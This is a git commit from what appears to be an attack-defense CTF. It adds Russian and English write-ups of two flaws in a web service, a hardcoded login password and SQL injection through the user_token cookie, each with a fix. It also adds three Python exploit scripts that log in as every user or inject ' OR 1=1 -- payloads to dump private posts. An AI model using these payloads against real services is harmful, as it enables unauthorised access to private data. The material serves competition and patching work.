adding validated services? patching forcad_local.py

This commit is contained in:
Your Name
2026-08-13 08:32:35 +07:00
parent d485f61169
commit e795614e45
1459 changed files with 420036 additions and 436 deletions

View File

@@ -0,0 +1,22 @@
# Эксплойт 1
**Флагтор 1: Приватные посты (их содержимое)**
**Уязвимость:** Баг в коде, позволяющий войти под любым пользователем с паролем `password`.
**Исправление:** Добавить знак `$` перед хешированием пароля в функциях `api-user-register` и `api-user-login`.
# Эксплойт 2
**Flagstore 2: Приватные посты (их содержимое)**
Уязвимость: Неэффективная функция db-escape и её отсутствие в функции db-list-user-posts для поля user_token.
Исправление: Изменить функцию db-escape на:
```bash
db-escape() {
local str="$1"
echo "${str//\'/\\\'}"
}
```

View File

@@ -0,0 +1,21 @@
# Sploit 1
**Flagstore 1. Private posts (their content)**
**Vulnerability:** A bug in code allows logging in as any user with password - `password`.
**Fix:** Add a `$` sign before hashing the password in the `api-user-register` and `api-user-login` functions.
# Sploit 2
**Flagstore 2. Private posts (their content)**
**Vulnerability:** An ineffective `db-escape` function and its absence in the `db-list-user-posts` function for `user_token` field.
**Fix:** Change the `db-escape` function to:
```bash
db-escape() {
local str="$1"
echo "${str//\'/\\\'}"
}
```

View File

@@ -0,0 +1 @@
requests

View File

@@ -0,0 +1,27 @@
import sys
import requests
ip = sys.argv[1]
base_url = f"http://{ip}:1599"
sess = requests.Session()
r = sess.get(f"{base_url}/api/users")
assert r.ok, r.text
users = [el["username"] for el in r.json()]
for user in users:
sess = requests.Session()
r = sess.post(
f"{base_url}/api/user/login", json={"username": user, "password": "password"}
)
assert r.ok, r.text
r = sess.get(f"{base_url}/api/user/posts")
assert r.ok, r.text
flags = [post["content"] for post in r.json()]
for flag in flags:
print(flag)

View File

@@ -0,0 +1,11 @@
import sys
import requests
ip = sys.argv[1]
base_url = f"http://{ip}:1599"
r = requests.get(f"{base_url}/api/user/posts", cookies={"token": "'%20OR%201=1%20--"})
flags = [post["content"] for post in r.json()]
for flag in flags:
print(flag)

View File

@@ -0,0 +1,11 @@
import sys
import requests
ip = sys.argv[1]
base_url = f"http://{ip}:1599"
r = requests.get(f"{base_url}/api/user/posts", cookies={"token": "'%20OR%20'1'='1"})
flags = [post["content"] for post in r.json()]
for flag in flags:
print(flag)